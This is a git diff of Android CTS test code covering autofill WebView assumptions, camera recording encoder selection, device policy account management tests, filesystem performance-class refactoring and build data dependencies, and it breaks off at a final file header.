+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
@@ -19,6 +19,11 @@
 import android.autofillservice.cts.testcore.IdMode;
 import android.autofillservice.cts.testcore.UiBot;
 
+import android.content.Context;
+import android.content.res.Resources;
+
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
 
@@ -45,4 +50,20 @@
     public static void resetReplierMode() {
         sReplier.setIdMode(IdMode.RESOURCE_ID);
     }
+
+    /**
+     * @return whether the preventable IME feature as specified by {@code
+     * config_preventImeStartupUnlessTextEditor} is enabled.
+     */
+    protected static boolean isPreventImeStartup() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try {
+            return context.getResources().getBoolean(
+                    Resources.getSystem().getIdentifier(
+                            "config_preventImeStartupUnlessTextEditor", "bool", "android"));
+        } catch (Resources.NotFoundException e) {
+            // Assume this is not enabled.
+            return false;
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index f1e039d..bfdd160 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -282,6 +282,7 @@
     }
 
     @Test
+    @AppModeFull(reason = "BROADCAST_STICKY permission cannot be granted to instant apps")
     public void testAutofill_noInvalid() throws Exception {
         final String keyInvalid = "invalid";
         final String keyValid = "valid";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
index 4d87dfe..79180e1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
@@ -42,6 +42,7 @@
 
 import androidx.test.filters.FlakyTest;
 
+import org.junit.Assume;
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
@@ -108,9 +109,11 @@
 
     @Test
     public void testAutofillOneDataset() throws Exception {
+        // TODO(b/226240255) WebView does not inform the autofill service about editText (re-)entry
+        Assume.assumeFalse(isPreventImeStartup());
+
         // TODO(b/187664861): Find better solution for small display device.
         mUiBot.assumeMinimumResolution(500);
-
         // Set service.
         enableService();
 
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index 207f885..9f15d79 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -45,4 +45,11 @@
         "mts-permission",
     ],
     sdk_version: "test_current",
+    data: [
+        ":CtsPermissionBackupApp",
+        ":CtsPermissionBackupApp22",
+        ":CtsFullBackupApp",
+        ":CtsKeyValueBackupApp",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index a7787af..3ae65fb 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -931,7 +931,26 @@
                         mOutMediaFileName = mDebugFileNameBase + "/test_cslowMo_video_" +
                             captureRate + "fps_" + id + "_" + size.toString() + ".mp4";
 
-                        prepareRecording(size, VIDEO_FRAME_RATE, captureRate);
+                        int cameraId = Integer.valueOf(mCamera.getId());
+                        int videoEncoder = MediaRecorder.VideoEncoder.H264;
+                        for (int profileId : mCamcorderProfileList) {
+                            if (CamcorderProfile.hasProfile(cameraId, profileId)) {
+                                CamcorderProfile profile =
+                                        CamcorderProfile.get(cameraId, profileId);
+
+                                if (profile.videoFrameHeight == size.getHeight() &&
+                                        profile.videoFrameWidth == size.getWidth() &&
+                                        profile.videoFrameRate == VIDEO_FRAME_RATE) {
+                                    videoEncoder = profile.videoCodec;
+                                    // Since mCamcorderProfileList is a list representing different
+                                    // resolutions, we can break when a profile with the same
+                                    // dimensions as size is found
+                                    break;
+                                }
+                            }
+                        }
+
+                        prepareRecording(size, VIDEO_FRAME_RATE, captureRate, videoEncoder);
 
                         SystemClock.sleep(PREVIEW_DURATION_MS);
 
@@ -963,7 +982,8 @@
                         stopCameraStreaming();
                     }
                 }
-
+            } catch (NumberFormatException e) {
+                fail("Cannot convert cameraId " + mCamera.getId() + " to int");
             } finally {
                 closeDevice();
                 releaseRecorder();
@@ -1873,6 +1893,17 @@
     private void prepareRecording(Size sz, int videoFrameRate, int captureRate)
             throws Exception {
         // Prepare MediaRecorder.
+        prepareRecording(sz, videoFrameRate, captureRate, MediaRecorder.VideoEncoder.H264);
+    }
+
+    /**
+     * Configure MediaRecorder recording session with CamcorderProfile, prepare
+     * the recording surface. Use AAC for audio compression as required for
+     * android devices by android CDD.
+     */
+    private void prepareRecording(Size sz, int videoFrameRate, int captureRate,
+            int videoEncoder) throws Exception {
+        // Prepare MediaRecorder.
         mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
@@ -1881,7 +1912,7 @@
         mMediaRecorder.setVideoFrameRate(videoFrameRate);
         mMediaRecorder.setCaptureRate(captureRate);
         mMediaRecorder.setVideoSize(sz.getWidth(), sz.getHeight());
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setVideoEncoder(videoEncoder);
         mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
         if (mPersistentSurface != null) {
             mMediaRecorder.setInputSurface(mPersistentSurface);
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index b466feb..136350d 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -2840,7 +2840,7 @@
      * <p>
      * Two images are strongly equal if and only if the data, formats, sizes,
      * and timestamps are same. For {@link ImageFormat#PRIVATE PRIVATE} format
-     * images, the image data is not not accessible thus the data comparison is
+     * images, the image data is not accessible thus the data comparison is
      * effectively skipped as the number of planes is zero.
      * </p>
      * <p>
@@ -3328,7 +3328,7 @@
                     expectedIso *= 100;
                 }
                 collector.expectInRange("Exif TAG_ISO is incorrect", iso,
-                        expectedIso/100,((expectedIso+50)/100)+MAX_ISO_MISMATCH);
+                        expectedIso/100,((expectedIso + 50)/100) + MAX_ISO_MISMATCH);
             }
         } else {
             // External camera specific checks
diff --git a/tests/contentcaptureservice/Android.bp b/tests/contentcaptureservice/Android.bp
index f6d6ed4..91b37bf 100644
--- a/tests/contentcaptureservice/Android.bp
+++ b/tests/contentcaptureservice/Android.bp
@@ -39,4 +39,8 @@
         "general-tests",
     ],
     sdk_version: "test_current",
+    data: [
+        ":CtsOutsideOfPackageActivity",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 9c5938e..1b1eb9c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,6 +16,8 @@
 
 package android.devicepolicy.cts;
 
+import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS;
+
 import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
 import static com.android.queryable.queries.ServiceQuery.service;
 
@@ -25,7 +27,6 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.accounts.AuthenticatorException;
 import android.accounts.OperationCanceledException;
 import android.app.admin.RemoteDevicePolicyManager;
 import android.content.ComponentName;
@@ -49,13 +50,10 @@
 
 import org.junit.Before;
 import org.junit.ClassRule;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.IOException;
-
 @RunWith(BedsteadJUnit4.class)
 public final class AccountManagementTest {
     @ClassRule
@@ -158,78 +156,64 @@
         assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
 
-            // assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
-            //        .isEqualTo(EXISTING_ACCOUNT_TYPE);
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
         } finally {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
-            // TODO(b/197491427): AccountManager support in TestApp
-            // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
         }
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+            mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
 
-            //assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
-            //        .isEqualTo(EXISTING_ACCOUNT_TYPE);
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
         } finally {
-            mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
-            // TODO(b/197491427): AccountManager support in TestApp
-            // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+            mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
         }
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // addAccountWithType(EXISTING_ACCOUNT_TYPE);
-            // Bundle result = removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+            addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+            Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE);
 
-            // assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
+            assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
         } finally {
             mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
         }
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
-    public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+    public void addAccount_withDisallowModifyAccountsRestriction_throwsException() {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
@@ -241,17 +225,16 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException,
-            InterruptedException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             assertThrows(OperationCanceledException.class, () ->
-                    removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
         } finally {
             // Account is automatically removed when the test app is removed
             mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -259,7 +242,7 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_withAccountManagementDisabled_throwsException() {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
@@ -273,17 +256,16 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_withAccountManagementDisabled_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException,
-            InterruptedException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             assertThrows(OperationCanceledException.class, () ->
-                    removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
         } finally {
             // Account is automatically removed when the test app is removed
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
@@ -293,14 +275,25 @@
     /**
      * Blocks until an account of {@code type} is added.
      */
-    // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
-    private Bundle addAccountWithType(String type) {
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountFromInstrumentedAppWithType(String type) {
         return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type))
                 .toNotBeNull()
                 .errorOnFail()
                 .await();
     }
 
+    /**
+     * Blocks until an account of {@code type} is added.
+     */
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountWithType(TestAppInstance testApp, String type) {
+        return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type))
+                .toNotBeNull()
+                .errorOnFail()
+                .await();
+    }
+
     private Bundle addAccountWithTypeOnce(String type) throws Exception {
         return mAccountManager.addAccount(
                 type,
@@ -312,13 +305,23 @@
                 /* handler= */ null).getResult();
     }
 
+    private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type)
+            throws Exception {
+        return testApp.accountManager().addAccount(
+                type,
+                /* authTokenType= */ null,
+                /* requiredFeatures= */ null,
+                /* addAccountOptions= */ null,
+                /* activity= */ null,
+                /* callback= */ null,
+                /* handler= */ null).getResult();
+    }
+
     /**
      * Blocks until {@code account} is removed.
      */
-    // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
-    private Bundle removeAccount(Account account)
-            throws OperationCanceledException, IOException,
-            InterruptedException, AuthenticatorException {
+    private Bundle removeAccountFromInstrumentedApp(Account account)
+            throws Exception {
         return mAccountManager.removeAccount(
                 account,
                 /* activity= */ null,
@@ -326,4 +329,17 @@
                 /* handler= */ null)
                 .getResult();
     }
+
+    /**
+     * Blocks until {@code account} is removed.
+     */
+    private Bundle removeAccount(TestAppInstance testApp, Account account)
+            throws Exception {
+        return testApp.accountManager().removeAccount(
+                account,
+                /* activity= */ null,
+                /* callback= */  null,
+                /* handler= */ null)
+                .getResult();
+    }
 }
diff --git a/tests/filesystem/Android.bp b/tests/filesystem/Android.bp
index db59b6a..7023994 100644
--- a/tests/filesystem/Android.bp
+++ b/tests/filesystem/Android.bp
@@ -23,6 +23,7 @@
     static_libs: [
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "MediaPerformanceClassCommon",
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
diff --git a/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java b/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
deleted file mode 100644
index 5b3859c..0000000
--- a/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.filesystem.cts;
-
-import android.os.Build;
-import android.os.Build;
-import android.os.SystemProperties;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-/**
- * Test utilities.
- */
-/* package private */ class MediaPerformanceClassUtils {
-    private static final int sPc = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) ?
-            Build.VERSION.MEDIA_PERFORMANCE_CLASS :
-            SystemProperties.getInt("ro.odm.build.media_performance_class", 0);
-    private static final String TAG = "PerformanceClassTestUtils";
-
-    /**
-     * First defined media performance class.
-     */
-    private static final int FIRST_PERFORMANCE_CLASS = Build.VERSION_CODES.R;
-
-    /**
-     * Latest defined media performance class.
-     */
-    private static final int LAST_PERFORMANCE_CLASS = Build.VERSION_CODES.TIRAMISU;
-
-    static {
-        if (sPc > 0) {
-            Log.d(TAG, "performance class is "  + sPc);
-        }
-    }
-
-    public static boolean isRPerfClass() {
-        return sPc == Build.VERSION_CODES.R;
-    }
-
-    public static boolean isSPerfClass() {
-        return sPc == Build.VERSION_CODES.S;
-    }
-
-    public static boolean isTPerfClass() {
-        return sPc == Build.VERSION_CODES.TIRAMISU;
-    }
-
-    public static int getPerfClass() {
-        return sPc;
-    }
-
-    public static boolean isPerfClass() {
-        return sPc >= FIRST_PERFORMANCE_CLASS &&
-               sPc <= LAST_PERFORMANCE_CLASS;
-    }
-}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 1017081..66d1e02 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -20,6 +20,8 @@
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import android.os.Environment;
+import android.mediapc.cts.common.Utils;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -29,7 +31,9 @@
 import static org.junit.Assert.assertTrue;
 
 import org.junit.After;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
@@ -37,19 +41,9 @@
     private static final String DIR_RANDOM_WR = "RANDOM_WR";
     private static final String DIR_RANDOM_RD = "RANDOM_RD";
     private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
-    private static final double MIN_READ_MBPS;
-    private static final double MIN_WRITE_MBPS;
 
-    static {
-        if (MediaPerformanceClassUtils.isRPerfClass()) {
-            MIN_READ_MBPS = 25;
-            MIN_WRITE_MBPS = 10;
-        } else {
-            // Performance class Build.VERSION_CODES.S and beyond
-            MIN_READ_MBPS = 40;
-            MIN_WRITE_MBPS = 10;
-        }
-    }
+    @Rule
+    public final TestName mTestName = new TestName();
 
     @After
     public void tearDown() throws Exception {
@@ -57,7 +51,7 @@
         FileUtil.removeFileOrDir(getContext(), DIR_RANDOM_RD);
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-4"})
     @Test
     public void testRandomRead() throws Exception {
         final int READ_BUFFER_SIZE = 4 * 1024;
@@ -71,14 +65,18 @@
         double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
                 READ_BUFFER_SIZE);
         report.submit(getInstrumentation());
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            assertTrue("measured " + mbps + " is less than target (" + MIN_READ_MBPS + " MBPS)",
-                       mbps >= MIN_READ_MBPS);
-        }
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_4 = pce.addR8_2__H_1_4();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_4 = pce.addR8_2__H_2_4();
+        r8_2__H_1_4.setFilesystemIoRate(mbps);
+        r8_2__H_2_4.setFilesystemIoRate(mbps);
+
+        pce.submitAndCheck();
     }
 
     // It is taking too long in some device, and thus cannot run multiple times
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-2"})
     @Test
     public void testRandomUpdate() throws Exception {
         final int WRITE_BUFFER_SIZE = 4 * 1024;
@@ -97,10 +95,13 @@
                 WRITE_BUFFER_SIZE);
         }
         report.submit(getInstrumentation());
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            // for performance class devices we must be able to write 256MB
-            assertTrue("measured " + mbps + " is less than target (" + MIN_WRITE_MBPS + " MBPS)",
-                       mbps >= MIN_WRITE_MBPS);
-        }
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_2 = pce.addR8_2__H_1_2();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_2 = pce.addR8_2__H_2_2();
+        r8_2__H_1_2.setFilesystemIoRate(mbps);
+        r8_2__H_2_2.setFilesystemIoRate(mbps);
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index a3e6f83..1beb91a 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -17,6 +17,8 @@
 package android.filesystem.cts;
 
 import android.util.Log;
+import android.mediapc.cts.common.Utils;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 
 import static androidx.test.InstrumentationRegistry.getContext;
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
@@ -34,7 +36,9 @@
 import static org.junit.Assert.assertTrue;
 
 import org.junit.After;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
 import java.io.File;
@@ -50,19 +54,9 @@
     private static final String DIR_SEQ_RD = "SEQ_RD";
     private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
     private static final int BUFFER_SIZE = 10 * 1024 * 1024;
-    private static final double MIN_READ_MBPS;
-    private static final double MIN_WRITE_MBPS;
 
-    static {
-        if (MediaPerformanceClassUtils.isRPerfClass()) {
-            MIN_READ_MBPS = 200;
-            MIN_WRITE_MBPS = 100;
-        } else {
-            // Performance class Build.VERSION_CODES.S and beyond
-            MIN_READ_MBPS = 250;
-            MIN_WRITE_MBPS = 125;
-        }
-    }
+    @Rule
+    public final TestName mTestName = new TestName();
 
     @After
     public void tearDown() throws Exception {
@@ -71,7 +65,7 @@
         FileUtil.removeFileOrDir(getContext(), DIR_SEQ_RD);
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-1"})
     @Test
     public void testSingleSequentialWrite() throws Exception {
         final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
@@ -104,10 +98,13 @@
         Log.v(TAG, "sequential write " + stat.mAverage + " MBPS");
         report.submit(getInstrumentation());
 
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_WRITE_MBPS +
-                       " MBPS)", stat.mAverage >= MIN_WRITE_MBPS);
-        }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_1 = pce.addR8_2__H_1_1();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_1 = pce.addR8_2__H_2_1();
+        r8_2__H_1_1.setFilesystemIoRate(stat.mAverage);
+        r8_2__H_2_1.setFilesystemIoRate(stat.mAverage);
+
+        pce.submitAndCheck();
     }
 
     @Test
@@ -123,7 +120,7 @@
                 NUMBER_REPETITION, REPORT_LOG_NAME, streamName);
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-3"})
     @Test
     public void testSingleSequentialRead() throws Exception {
         final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
@@ -166,9 +163,12 @@
         Log.v(TAG, "sequential read " + stat.mAverage + " MBPS");
         report.submit(getInstrumentation());
 
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_READ_MBPS +
-                       " MBPS)", stat.mAverage >= MIN_READ_MBPS);
-        }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_3 = pce.addR8_2__H_1_3();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_3 = pce.addR8_2__H_2_3();
+        r8_2__H_1_3.setFilesystemIoRate(stat.mAverage);
+        r8_2__H_2_3.setFilesystemIoRate(stat.mAverage);
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 4d00ee2..a14a7e8 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -76,4 +76,27 @@
     ],
 
     sdk_version: "test_current",
+    data: [
+        ":CtsDragAndDropSourceApp",
+        ":CtsDragAndDropTargetApp",
+        ":CtsDeviceAlertWindowTestApp",
+        ":CtsAlertWindowService",
+        ":CtsDeviceServicesTestApp",
+        ":CtsDeviceServicesTestApp27",
+        ":CtsDeviceServicesTestApp30",
+        ":CtsDeviceServicesTestSecondApp",
+        ":CtsDeviceServicesTestThirdApp",
+        ":CtsDeviceDeprecatedSdkApp",
+        ":CtsDeviceDisplaySizeApp",
+        ":CtsDevicePrereleaseSdkApp",
+        ":CtsDeviceProfileableApp",
+        ":CtsDeviceTranslucentTestApp",
+        ":CtsDeviceTranslucentTestApp26",
+        ":CtsMockInputMethod",
+        ":CtsDeviceServicesTestShareUidAppA",
+        ":CtsDeviceServicesTestShareUidAppB",
+        ":CtsDragAndDropTargetAppSdk23",
+        ":CtsDeviceAlertWindowTestAppSdk25",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/framework/base/windowmanager/OWNERS b/tests/framework/base/windowmanager/OWNERS
index 1f50516..5cee672 100644
--- a/tests/framework/base/windowmanager/OWNERS
+++ b/tests/framework/base/windowmanager/OWNERS
@@ -27,3 +27,8 @@
 # others
 # Bug template url: https://b.corp.google.com/issues/new?component=316125&template=1018199
 include platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+
+brufino@google.com
+charlesccchen@google.com
+lumark@google.com
+lus@google.com
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java
index f03d677..e9c7bc9 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java
@@ -28,6 +28,12 @@
     }
 
     @Override
+    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+        dumpConfiguration(newConfig);
+    }
+
+    @Override
     public void onConfigurationChanged(Configuration newConfig) {
         super.onConfigurationChanged(newConfig);
         dumpConfigInfo();
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index e45e821..67c2587 100644
